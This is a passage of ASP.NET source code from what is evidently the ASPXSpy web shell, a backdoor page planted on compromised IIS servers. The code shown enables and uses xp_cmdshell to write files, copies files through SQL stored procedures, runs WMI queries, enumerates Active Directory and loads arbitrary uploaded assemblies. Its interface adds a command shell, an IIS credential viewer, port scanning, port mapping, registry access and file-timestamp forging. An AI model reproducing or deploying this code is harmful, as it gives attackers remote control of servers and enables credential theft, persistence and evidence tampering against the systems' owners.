2179 | Response.Write("<table border=1><tr>\r\n"); | |
2180 | foreach(DataColumn subcol in dt.Columns) | |
2181 | { | |
2182 | Response.Write("<td><b>"+subcol.ColumnName+"</b></td>"); | |
2183 | } | |
2184 | Response.Write("</tr>"); | |
2185 | foreach(DataRow subrow in dt.Rows) | |
2186 | { | |
2187 | Response.Write("<tr>"); | |
2188 | for (int i=0;i<subrow.ItemArray.Length;i++) | |
2189 | { | |
2190 | Response.Write("<td>"+subrow.ItemArray[i].ToString()+"</td>"); | |
2191 | } | |
2192 | Response.Write("</tr>"); | |
2193 | } | |
2194 | Response.Write("</table>\r\n"); | |
2195 | } | |
2196 | Response.End(); | |
2197 | } | |
2198 | else{Bin_Msg("No data!");} | |
2199 | } | |
2200 | catch (Exception ex){zcg_ShowError(ex);} | |
2201 | } | |
2202 | protected void Bin_Button_SaUpfile_Click(object sender, EventArgs e) | |
2203 | { | |
2204 | Bin_Div_saupfile.Visible=true; | |
2205 | Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp"); | |
2206 | Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp"); | |
2207 | string strfrm="8.0|1|1 SQLIMAGE 0 0 \"\" 1 safile \"\""; | |
2208 | Bin_ExecSql("CREATE TABLE bin_temp(safile image)"); | |
2209 | Byte[] b = new byte[Bin_TextBox_SaFile.PostedFile.InputStream.Length]; | |
2210 | Stream i = Bin_TextBox_SaFile.PostedFile.InputStream; | |
2211 | i.Read(b, 0, b.Length); | |
2212 | try | |
2213 | { | |
2214 | OpenConnection(); | |
2215 | string db = conn.Database; | |
2216 | comm.CommandText = "insert into [bin_temp] values(@P1);"; | |
2217 | DbParameter dp=new SqlParameter("@P1", SqlDbType.Image); | |
2218 | dp.Value = b; | |
2219 | comm.Parameters.Add(dp); | |
2220 | comm.ExecuteNonQuery(); | |
2221 | string verstr = Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString(); | |
2222 | if (verstr.IndexOf("2005") > 0) | |
2223 | { | |
2224 | strfrm.Replace("8.0", "9.0"); | |
2225 | Bin_ExecSql("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;"); | |
2226 | } | |
2227 | string[] arrfrm = strfrm.Split('|'); | |
2228 | foreach (string substrfrm in arrfrm) | |
2229 | { | |
2230 | Bin_ExecSql("EXEC master..xp_cmdshell 'echo " + substrfrm + " >> c:\\windows\\temp\\tmp.fmt'"); | |
2231 | } | |
2232 | Bin_ExecSql("exec master..xp_cmdshell'bcp \"select safile from " + db + "..bin_temp\" queryout \"" + Bin_TextBox_SavePath.Value + "\" -T -f c:\\windows\\temp\\tmp.fmt'"); | |
2233 | Bin_ExecSql("If object_id('bin_temp')is not null drop table bin_temp"); | |
2234 | Bin_ExecSql("EXECUTE master..xp_cmdshell 'del c:\\windows\\temp\\tmp.fmt'"); | |
2235 | string res = Bin_DataTable("EXECUTE master..xp_fileexist '" + Bin_TextBox_SavePath.Value + "'").Rows[0][0].ToString(); | |
2236 | if (res == "1") | |
2237 | { | |
2238 | Bin_Msg("File uploaded,Good Luck!"); | |
2239 | } | |
2240 | else{Bin_Msg("Upload failed,Sorry!");} | |
2241 | ||
2242 | } | |
2243 | catch (Exception ex) | |
2244 | { | |
2245 | zcg_ShowError(ex); | |
2246 | } | |
2247 | } | |
2248 | ||
2249 | protected void Bin_Button_CabCopy_Click(object sender, EventArgs e) | |
2250 | { | |
2251 | Bin_Div_CopyFile.Visible = true; | |
2252 | try | |
2253 | { | |
2254 | IDictionary dic = Environment.GetEnvironmentVariables(); | |
2255 | string tmppath = dic["TMP"].ToString(); | |
2256 | if(Bin_ExecSql("exec master..xp_makecab '" + tmppath + "\\~098611.tmp','default',1,'" + Bin_TextBox_Source.Value + "';exec master..xp_unpackcab '" + tmppath + "\\~098611.tmp','" + Path.GetDirectoryName(Bin_TextBox_Target.Value) + "',1,'" + Path.GetFileName(Bin_TextBox_Target.Value) + "'")){Bin_Msg("File Copyed,Good Luck!");} | |
2257 | } | |
2258 | catch (Exception ex) | |
2259 | { | |
2260 | zcg_ShowError(ex); | |
2261 | } | |
2262 | } | |
2263 | ||
2264 | protected void Bin_Button_FsoCopy_Click(object sender, EventArgs e) | |
2265 | { | |
2266 | Bin_Div_CopyFile.Visible = true; | |
2267 | try | |
2268 | { | |
2269 | if(Bin_ExecSql("declare @a int;exec master..sp_oacreate'Scripting.FileSystemObject',@a output;exec master..sp_oamethod @a,'CopyFile',null,'" + Bin_TextBox_Source.Value + "','" + Bin_TextBox_Target.Value+ "'")){ Bin_Msg("File Copyed,Good Luck!");} | |
2270 | } | |
2271 | catch (Exception ex) | |
2272 | { | |
2273 | Bin_Msg(ex.Message); | |
2274 | } | |
2275 | ||
2276 | } | |
2277 | protected void Bin_Button_WmiQuery_Click(object sender, EventArgs e) | |
2278 | { | |
2279 | if (Bin_TextBox_WmiString.Text != "") | |
2280 | { | |
2281 | Bin_Div_WmiPanel.Visible = true; | |
2282 | try | |
2283 | { | |
2284 | Bin_DataGrid_Wmi.PreRender+=new EventHandler(DataGrid_PreRender); | |
2285 | if(string.IsNullOrEmpty(zcg_txbWmiComputer.Text)) | |
2286 | { | |
2287 | Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text); | |
2288 | } | |
2289 | else | |
2290 | { | |
2291 | Bin_DataGrid_Wmi.DataSource=zcg_WmiDataTable(zcg_txbWmiComputer.Text,zcg_txbWmiUserName.Text,zcg_txbWmiPassword.Text,zcg_txbWmiNamespace.Text,Bin_TextBox_WmiString.Text); | |
2292 | } | |
2293 | Bin_DataGrid_Wmi.DataBind(); | |
2294 | for(int i=0;i<Bin_DataGrid_Wmi.Items.Count;i++) | |
2295 | { | |
2296 | zcg_SetControlAttribute(Bin_DataGrid_Wmi.Items[i]); | |
2297 | } | |
2298 | } | |
2299 | catch (Exception ex) | |
2300 | { | |
2301 | zcg_ShowError(ex); | |
2302 | } | |
2303 | } | |
2304 | } | |
2305 | ||
2306 | [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)] | |
2307 | private static extern bool LookupAccountName(string machineName, string accountName, byte[] sid, ref int sidLen, StringBuilder domainName, ref int domainNameLen, out int peUse); | |
2308 | private string zcg_GetCurrentDomain() | |
2309 | { | |
2310 | try{return zcg_WmiDataTable("root\\CIMV2","select Domain from Win32_ComputerSystem").Rows[0]["Domain"] as string;} | |
2311 | catch{ | |
2312 | try{string s = Environment.UserDomainName; | |
2313 | int num3; | |
2314 | byte[] sid = new byte[0x400]; | |
2315 | int length = sid.Length; | |
2316 | StringBuilder domainName = new StringBuilder(0x400); | |
2317 | int capacity = domainName.Capacity; | |
2318 | if(!string.Equals(s,"NT AUTHORITY")) | |
2319 | { | |
2320 | return s; | |
2321 | } | |
2322 | else if (LookupAccountName(null, DomainUserName, sid, ref length, domainName, ref capacity, out num3)) | |
2323 | { | |
2324 | return domainName.ToString(); | |
2325 | }return Environment.MachineName;}catch{return Environment.MachineName;} | |
2326 | } | |
2327 | } | |
2328 | protected void zcg_lbtnADSViewer_Click(object sender,EventArgs e) | |
2329 | { | |
2330 | Hide_Div(); | |
2331 | try{ | |
2332 | zcg_div_ADSViewer.Visible = true; | |
2333 | zcg_lbtnADSLocalMachine.CommandArgument="WinNT://"+Environment.MachineName; | |
2334 | zcg_lbtnADSCurrentDomain.CommandArgument="WinNT://"+zcg_GetCurrentDomain(); | |
2335 | }catch(Exception ex){zcg_ShowError(ex);} | |
2336 | Bin_H2_Title.InnerText = "ADS Viewer >>"; | |
2337 | } | |
2338 | protected void zcg_btnDoListADS_Click(object sender,EventArgs e) | |
2339 | { | |
2340 | if(!string.IsNullOrEmpty(zcg_txbADSPath.Value.Trim())) | |
2341 | { | |
2342 | try{ | |
2343 | if(!string.IsNullOrEmpty(zcg_txbADSFilter.Value.Trim())) | |
2344 | { | |
2345 | zcg_SearchADSChildren(zcg_txbADSPath.Value.Trim(),zcg_txbADSFilter.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value); | |
2346 | }else{ | |
2347 | zcg_EnumADSChildrenAndListProperties(zcg_txbADSPath.Value.Trim(),zcg_txbADSUser.Value.Trim(),zcg_txbADSPass.Value,zcg_txbADSType.Value); | |
2348 | } | |
2349 | } | |
2350 | catch(Exception ex){zcg_ShowError(ex);} | |
2351 | } | |
2352 | } | |
2353 | protected void zcg_lbtnADS_Click(object sender,EventArgs e) | |
2354 | { | |
2355 | string ADSPath=(sender as LinkButton).CommandArgument; | |
2356 | zcg_txbADSPath.Value=ADSPath; | |
2357 | try{zcg_EnumADSChildrenAndListProperties(ADSPath,null,null,zcg_txbADSType.Value);} | |
2358 | catch(Exception ex){zcg_ShowError(ex);} | |
2359 | } | |
2360 | private void zcg_SearchADSChildren(string ADSPath,string ADSFilter,string ADSUserName,string ADSPassWord,string AuthType) | |
2361 | { | |
2362 | DirectorySearcher ds=null; | |
2363 | SearchResultCollection sc=null; | |
2364 | try | |
2365 | { | |
2366 | new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand(); | |
2367 | AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType)); | |
2368 | DirectoryEntry dire=null; | |
2369 | TableCell tc=null; | |
2370 | if(!string.IsNullOrEmpty(ADSUserName)) | |
2371 | { | |
2372 | dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t); | |
2373 | } | |
2374 | else | |
2375 | { | |
2376 | dire=new DirectoryEntry(ADSPath); | |
2377 | dire.AuthenticationType=t; | |
2378 | } | |
2379 | zcg_lbl_Schema.Text="SearchResult"; | |
2380 | ds=new DirectorySearcher(dire,ADSFilter); | |
2381 | sc=ds.FindAll(); | |
2382 | foreach(SearchResult sr in sc) | |
2383 | { | |
2384 | TableRow tr=zcg_GetTableRow(); | |
2385 | tc=new TableCell(); | |
2386 | tc.Text=zcg_MakeADSLinkJs(sr.Path); | |
2387 | tr.Cells.Add(tc); | |
2388 | tc=new TableCell(); | |
2389 | tc.Text="Search Result Entry"; | |
2390 | tr.Cells.Add(tc); | |
2391 | tc=new TableCell(); | |
2392 | tc.Text="Unknown"; | |
2393 | tr.Cells.Add(tc); | |
2394 | tc=new TableCell(); | |
2395 | tc.Text="--"; | |
2396 | tr.Cells.Add(tc); | |
2397 | tc=new TableCell(); | |
2398 | tc.Text=zcg_MakeADSLinkJs(sr.Path); | |
2399 | tr.Cells.Add(tc); | |
2400 | zcg_tbl_ADSViewer.Rows.Add(tr); | |
2401 | } | |
2402 | } | |
2403 | catch(Exception ex) | |
2404 | { | |
2405 | zcg_ShowError(ex); | |
2406 | } | |
2407 | finally | |
2408 | { | |
2409 | if(ds!=null){ds.Dispose();} | |
2410 | if(sc!=null){sc.Dispose();} | |
2411 | } | |
2412 | } | |
2413 | private void zcg_EnumADSChildrenAndListProperties(string ADSPath,string ADSUserName,string ADSPassWord,string AuthType) | |
2414 | { | |
2415 | try | |
2416 | { | |
2417 | new DirectoryServicesPermission(DirectoryServicesPermissionAccess.Browse,ADSPath).Demand(); | |
2418 | AuthenticationTypes t=(AuthenticationTypes)(Convert.ToInt32(AuthType)); | |
2419 | DirectoryEntry dire=null; | |
2420 | DirectoryEntry parent=null; | |
2421 | TableCell tc=null; | |
2422 | if(!string.IsNullOrEmpty(ADSUserName)) | |
2423 | { | |
2424 | dire=new DirectoryEntry(ADSPath,ADSUserName,ADSPassWord,t); | |
2425 | } | |
2426 | else | |
2427 | { | |
2428 | dire=new DirectoryEntry(ADSPath); | |
2429 | dire.AuthenticationType=t; | |
2430 | } | |
2431 | try{zcg_lbl_Schema.Text=dire.SchemaClassName;}catch{zcg_lbl_Schema.Text="Unknown";} | |
2432 | parent=dire.Parent; | |
2433 | if(!string.Equals(parent.Path,"ADs:")) | |
2434 | { | |
2435 | TableRow tr=zcg_GetTableRow(); | |
2436 | tc=new TableCell(); | |
2437 | tc.Text=zcg_MakeADSLinkJs(dire.Parent.Path,"Parent DirectoryEntry"); | |
2438 | tr.Cells.Add(tc); | |
2439 | tc=new TableCell(); | |
2440 | tc.Text="Parent Entry"; | |
2441 | tr.Cells.Add(tc); | |
2442 | tc=new TableCell(); | |
2443 | try | |
2444 | { | |
2445 | tc.Text=parent.SchemaClassName; | |
2446 | tr.Cells.Add(tc); | |
2447 | } | |
2448 | catch | |
2449 | { | |
2450 | tc.Text="Unknown"; | |
2451 | tr.Cells.Add(tc); | |
2452 | } | |
2453 | tc=new TableCell(); | |
2454 | tc.Text="--"; | |
2455 | tr.Cells.Add(tc); | |
2456 | tc=new TableCell(); | |
2457 | tc.Text=zcg_MakeADSLinkJs(parent.Path); | |
2458 | tr.Cells.Add(tc); | |
2459 | zcg_tbl_ADSViewer.Rows.Add(tr); | |
2460 | } | |
2461 | foreach (DirectoryEntry child in dire.Children) | |
2462 | { | |
2463 | try | |
2464 | { | |
2465 | TableRow tr=zcg_GetTableRow(); | |
2466 | tc=new TableCell(); | |
2467 | tc.Text=zcg_MakeADSLinkJs(child.Path,child.Name); | |
2468 | tr.Cells.Add(tc); | |
2469 | tc=new TableCell(); | |
2470 | tc.Text="Child Entry"; | |
2471 | tr.Cells.Add(tc); | |
2472 | try | |
2473 | { | |
2474 | tc=new TableCell(); | |
2475 | tc.Text=child.SchemaClassName; | |
2476 | tr.Cells.Add(tc); | |
2477 | } | |
2478 | catch | |
2479 | { | |
2480 | tc=new TableCell(); | |
2481 | tc.Text="Unknown"; | |
2482 | tr.Cells.Add(tc); | |
2483 | } | |
2484 | tc=new TableCell(); | |
2485 | tc.Text="--"; | |
2486 | tr.Cells.Add(tc); | |
2487 | tc=new TableCell(); | |
2488 | tc.Text=zcg_MakeADSLinkJs(child.Path); | |
2489 | tr.Cells.Add(tc); | |
2490 | zcg_tbl_ADSViewer.Rows.Add(tr); | |
2491 | } | |
2492 | catch{} | |
2493 | } | |
2494 | TableRow intr=new TableRow(); | |
2495 | intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;"; | |
2496 | intr.Attributes["bgcolor"]="#dddddd"; | |
2497 | TableCell intc=new TableCell(); | |
2498 | intc.Attributes["colspan"]="6" ; | |
2499 | intc.Attributes["height"]="5"; | |
2500 | intr.Cells.Add(intc); | |
2501 | zcg_tbl_ADSViewer.Rows.Add(intr); | |
2502 | System.DirectoryServices.PropertyCollection pc=dire.Properties; | |
2503 | foreach(object o in pc.PropertyNames) | |
2504 | { | |
2505 | try | |
2506 | { | |
2507 | if(o is string) | |
2508 | { | |
2509 | string tmps=null; | |
2510 | object prop=pc[o as string].Value; | |
2511 | if(prop is Array) | |
2512 | { | |
2513 | foreach(object op in prop as Array) | |
2514 | { | |
2515 | if(op is byte) | |
2516 | { | |
2517 | tmps+=((byte)op).ToString("X2"); | |
2518 | } | |
2519 | else | |
2520 | { | |
2521 | tmps+=op.ToString(); | |
2522 | tmps+="<br />"; | |
2523 | } | |
2524 | } | |
2525 | } | |
2526 | else | |
2527 | { | |
2528 | tmps=prop.ToString(); | |
2529 | } | |
2530 | TableRow tr=zcg_GetTableRow(); | |
2531 | tc=new TableCell(); | |
2532 | tc.Text=o as string; | |
2533 | tr.Cells.Add(tc); | |
2534 | tc=new TableCell(); | |
2535 | tc.Text="Property"; | |
2536 | tr.Cells.Add(tc); | |
2537 | tc=new TableCell(); | |
2538 | tc.Text="--"; | |
2539 | tr.Cells.Add(tc); | |
2540 | tc=new TableCell(); | |
2541 | tc.Text=tmps; | |
2542 | tr.Cells.Add(tc); | |
2543 | tc=new TableCell(); | |
2544 | tc.Text="--"; | |
2545 | tr.Cells.Add(tc); | |
2546 | zcg_tbl_ADSViewer.Rows.Add(tr); | |
2547 | } | |
2548 | }catch{} | |
2549 | } | |
2550 | } | |
2551 | catch(Exception ex) | |
2552 | { | |
2553 | zcg_ShowError(ex); | |
2554 | } | |
2555 | } | |
2556 | private string zcg_MakeADSLinkJs(params string[] ADSSettings) | |
2557 | { | |
2558 | if(ADSSettings.GetLength(0)>1) | |
2559 | { | |
2560 | return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[1]); | |
2561 | } | |
2562 | return string.Format("<a href=\"javascript:Bin_PostBack('zcg_ListADS','{0}')\">{1}</a>",Bin_ToBase64(ADSSettings[0]),ADSSettings[0]); | |
2563 | } | |
2564 | protected void zcg_lbtnPlugin_Click(object sender,EventArgs e) | |
2565 | { | |
2566 | Hide_Div(); | |
2567 | zcg_div_Plugin.Visible = true; | |
2568 | Bin_H2_Title.InnerText = "Plugin Loader >>"; | |
2569 | } | |
2570 | protected void zcg_btnplgLoad_Click(object sender,EventArgs e) | |
2571 | { | |
2572 | zcg_div_PluginResult.InnerHtml=""; | |
2573 | try | |
2574 | { | |
2575 | if(zcg_plgFile.PostedFile.ContentLength==0){Bin_Msg("No Plugin Selected");} | |
2576 | else | |
2577 | { | |
2578 | Stream stream=null;MemoryStream mem=new MemoryStream();byte[] b = new byte[2048];int i = 0; | |
2579 | if(zcg_chbIsDeflated.Checked){stream=new DeflateStream(zcg_plgFile.PostedFile.InputStream, CompressionMode.Decompress);} | |
2580 | else{stream=zcg_plgFile.PostedFile.InputStream;} | |
2581 | do{i = stream.Read(b, 0, 2048);mem.Write(b, 0, i);} while (i != 0); | |
2582 | stream.Close();b=mem.ToArray();mem.Close(); | |
2583 | string TypeName=string.IsNullOrEmpty(zcg_txbTypeName.Text)?"Zcg.Test.AspxSpyPlugins.TestPlugin":zcg_txbTypeName.Text; | |
2584 | string MethodName=string.IsNullOrEmpty(zcg_txbMethodName.Text)?"Test":zcg_txbMethodName.Text; | |
2585 | Type t=Assembly.Load(b).GetType(TypeName); | |
2586 | if(t==null){Bin_Msg("Type "+TypeName+" Not Found");} | |
2587 | else{zcg_div_PluginResult.InnerHtml=String.Format("Result :<hr width=\"100%\" noshade/>"+(zcg_chbIsHtml.Checked?"{0}":"<pre><xmp>{0}</xmp></pre>"),t.InvokeMember(MethodName,BindingFlags.InvokeMethod|BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static,null,null,new object[]{zcg_txbParams.Text.Split(new string[1]{"\r\n"},StringSplitOptions.RemoveEmptyEntries)}));zcg_div_PluginResult.Visible=true;} | |
2588 | } | |
2589 | } | |
2590 | catch(Exception ex){zcg_ShowError(ex);}//to see InnerException | |
2591 | } | |
2592 | </script> | |
2593 | <html xmlns="http://www.w3.org/1999/xhtml" > | |
2594 | <head id="Head1" runat="server"> | |
2595 | <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> | |
2596 | <title><%=Version + " - " +Request.ServerVariables["SERVER_NAME"]%></title> | |
2597 | <style type="text/css"> | |
2598 | .Bin_Style_Login{font:11px Verdana;BACKGROUND: #FFFFFF;border: 1px solid #666666;} | |
2599 | body,td{font: 12px Arial,Tahoma;line-height: 16px;} | |
2600 | .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;} | |
2601 | .list{font:12px Arial,Tahoma;height:20px;} | |
2602 | .area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;} | |
2603 | .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma; | |
2604 | } | |
2605 | a {color: #00f;text-decoration:underline;} | |
2606 | a:hover{color: #f00;text-decoration:none;} | |
2607 | .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ededed;padding:5px 10px 5px 5px;} | |
2608 | .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fafafa;padding:5px 10px 5px 5px;} | |
2609 | .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;} | |
2610 | .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font-weight:bold;} | |
2611 | .head td span{font-weight:normal;} | |
2612 | form{margin:0;padding:0;} | |
2613 | h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;} | |
2614 | ul.info li{margin:0;color:#444;line-height:24px;height:24px;} | |
2615 | u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} | |
2616 | .u1{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} | |
2617 | .u2{text-decoration: none;color:#777;float:left;display:block;width:350px;margin-right:10px;} | |
2618 | </style> | |
2619 | <script type="text/javascript"> | |
2620 | function CheckAll(form){ | |
2621 | for(var i=0;i<form.elements.length;i++){ | |
2622 | var e=form.elements[i]; | |
2623 | if(e.name!='chkall') | |
2624 | e.checked=form.chkall.checked; | |
2625 | } | |
2626 | } | |
2627 | </script> | |
2628 | </head> | |
2629 | <body style="margin:0;table-layout:fixed;"> | |
2630 | <form id="ASPXSpy" runat="server"> | |
2631 | <div id="Bin_Div_Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" > | |
2632 | <span style="font:11px Verdana;">Password:</span> | |
2633 | <asp:TextBox ID="Bin_TextBox_Login" runat="server" CssClass="Bin_Style_Login" ></asp:TextBox> | |
2634 | <asp:Button ID="Bin_Button_Login" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="Bin_Button_Login_Click"/> | |
2635 | </div> | |
2636 | <div id="Bin_Div_Content" runat="server"> | |
2637 | <div id="Bin_Div_Head" runat="server"> | |
2638 | <table width="100%" border="0" cellpadding="0" cellspacing="0"> | |
2639 | <tr class="head"> | |
2640 | <td ><span style="float:right;"><a href="http://www.rootkit.net.cn" target="_blank">WebShell Ver: <%=Version%></a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td> | |
2641 | </tr> | |
2642 | <tr class="alt1"> | |
2643 | <td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span> | |
2644 | <asp:LinkButton ID="Bin_Button_Logout" runat="server" OnClick="Bin_Button_Logout_Click" Text="Logout" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_File" runat="server" Text="File Manager" OnClick="Bin_Button_File_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Search" runat="server" Text="FileSearch" OnClick="Bin_Search_Start"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Cmd" runat="server" Text="CmdShell" OnClick="Bin_Button_Cmd_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_IISspy" runat="server" Text="IIS Spy" OnClick="Bin_Button_IISspy_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Process" runat="server" Text="Process" OnClick="Bin_Button_Process_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Services" runat="server" Text="Services" OnClick="Bin_Button_Services_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Userinfo" runat="server" Text="UserInfo" OnClick="Bin_Button_Userinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Sysinfo" runat="server" Text="SysInfo" OnClick="Bin_Button_Sysinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Reg" runat="server" Text="RegShell" OnClick="Bin_Button_Reg_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortScan" runat="server" Text="PortScan" OnClick="Bin_Button_PortScan_Click" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_DB" runat="server" Text="DataBase" OnClick="Bin_Button_DB_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortMap" runat="server" Text="PortMap" OnClick="Bin_Button_PortMap_Click"></asp:LinkButton> |<asp:LinkButton ID="Bin_Button_WmiTools" runat="server" Text="WmiTools" onclick="Bin_Button_WmiTools_Click" ></asp:LinkButton> | <asp:LinkButton ID="zcg_lbtnADSViewer" runat="server" Text="ADSViewer" OnClick="zcg_lbtnADSViewer_Click"></asp:LinkButton> | <asp:LinkButton ID="zcg_lbtnPlugin" runat="server" Text="PluginLoader" OnClick="zcg_lbtnPlugin_Click"></asp:LinkButton></td> | |
2645 | </tr> | |
2646 | </table> | |
2647 | </div> | |
2648 | <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td> | |
2649 | <div id="Bin_Div_Msg" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div> | |
2650 | <h2 id="Bin_H2_Title" runat="server"></h2> | |
2651 | <%--FileList--%> | |
2652 | <div id="Bin_Div_File" runat="server"> | |
2653 | <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"> | |
2654 | <tr> | |
2655 | <td style=" white-space:nowrap">Current Directory : </td> | |
2656 | <td style=" width:100%"><input class="input" id="Bin_TextBox_Path" type="text" style="width:97%;margin:0 8px;" runat="server"/> | |
2657 | </td> | |
2658 | <td style="white-space:nowrap" ><asp:Button ID="Bin_Button_Go" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Go_Click"/></td> | |
2659 | </tr> | |
2660 | </table> | |
2661 | <table width="100%" border="0" cellpadding="4" cellspacing="0"> | |
2662 | <tr class="alt1"><td style="padding:5px;"> | |
2663 | <div style="float:right;"><input id="Bin_Lable_File" class="input" runat="server" type="file" style=" height:22px"/> | |
2664 | <asp:Button ID="Bin_Button_Upload" CssClass="bt" runat="server" Text="Upload" OnClick="Bin_Button_Upload_Click"/></div><asp:LinkButton ID="Bin_Button_WebRoot" runat="server" Text="WebRoot" OnClick="Bin_Button_WebRoot_Click"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">Create Directory</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Create File</a> | |
2665 | | <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a> | |
2666 | </td></tr> | |
2667 | <asp:Table ID="Bin_Table_File" runat="server" Width="100%" CellSpacing="0" > | |
2668 | <asp:TableRow CssClass="head"><asp:TableCell> </asp:TableCell><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="25%">Last modified</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow> | |
2669 | </asp:Table> | |
2670 | </table> | |
2671 | </div> | |
2672 | <%--FileEdit--%> | |
2673 | <div id="Bin_Div_Edit" runat="server"> | |
2674 | <p>Current File(import new file name and new file)<br/> | |
2675 | <input class="input" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/> <asp:DropDownList ID="Bin_List_Code" runat="server" CssClass="list" AutoPostBack="true" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged"><asp:ListItem>Default</asp:ListItem><asp:ListItem>UTF-8</asp:ListItem></asp:DropDownList> | |
2676 | </p> | |
2677 | <p>File Content<br/> | |
2678 | <textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" enableviewstate="false" ></textarea> | |
2679 | </p> | |
2680 | <p><asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/> <asp:Button ID="Bin_Button_Back" runat="server" Text="Back" CssClass="bt" OnClick="Bin_Button_Back_Click"/></p> | |
2681 | </div> | |
2682 | <%--CloneTime--%> | |
2683 | <div id="Bin_Div_Time" runat="server" enableviewstate="false" visible="false"> | |
2684 | <p>Alter file<br/><input class="input" id="Bin_TextBox_Sp" type="text" size="120" runat="server"/></p> | |
2685 | <p>Reference file(fullpath)<br/><input class="input" id="Bin_TextBox_Dp" type="text" size="120" runat="server"/></p> | |
2686 | <p><asp:Button ID="Bin_Button_Clone" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Clone_Click"/></p> | |
2687 | <h2>Set last modified »</h2> | |
2688 | <p>Current file(fullpath)<br/><input class="input" id="Bin_TextBox_Sp1" type="text" size="120" runat="server"/></p> | |
2689 | <p> | |
2690 | <asp:CheckBox ID="Bin_CheckBox_ReadOnly" runat="server" Text="ReadOnly" EnableViewState="False"/> | |
2691 | | |
2692 | <asp:CheckBox ID="Bin_CheckBox_System" runat="server" Text="System" EnableViewState="False"/> | |
2693 | | |
2694 | <asp:CheckBox ID="Bin_CheckBox_Hiddent" runat="server" Text="Hidden" EnableViewState="False"/> | |
2695 | | |
2696 | <asp:CheckBox ID="Bin_CheckBox_Archive" runat="server" Text="Archive" EnableViewState="False"/> | |
2697 | </p> | |
2698 | <p> | |
2699 | CreationTime : | |
2700 | <input class="input" id="Bin_TextBox_Creation" type="text" runat="server"/> | |
2701 | LastWriteTime : | |
2702 | <input class="input" id="Bin_TextBox_LastWrite" type="text" runat="server"/> | |
2703 | LastAccessTime : | |
2704 | <input class="input" id="Bin_TextBox_LastAccess" type="text" runat="server"/> | |
2705 | </p> | |
2706 | <p> | |
2707 | <asp:Button ID="Bin_Button_Att" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_Att_Click"/> | |
2708 | </p> | |
2709 | </div> | |
2710 | <%--IISSpy--%> | |
2711 | <div runat="server" id="Bin_Div_IISSpy" visible="false" enableviewstate="false"> | |
2712 | <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;"> | |
2713 | <asp:Table ID="Bin_Table_IISSpy" runat="server" Width="100%" CellSpacing="0"> | |
2714 | <asp:TableRow CssClass="head"><asp:TableCell>ID</asp:TableCell><asp:TableCell>IIS_USER</asp:TableCell><asp:TableCell>IIS_PASS</asp:TableCell><asp:TableCell>Domain</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow> | |
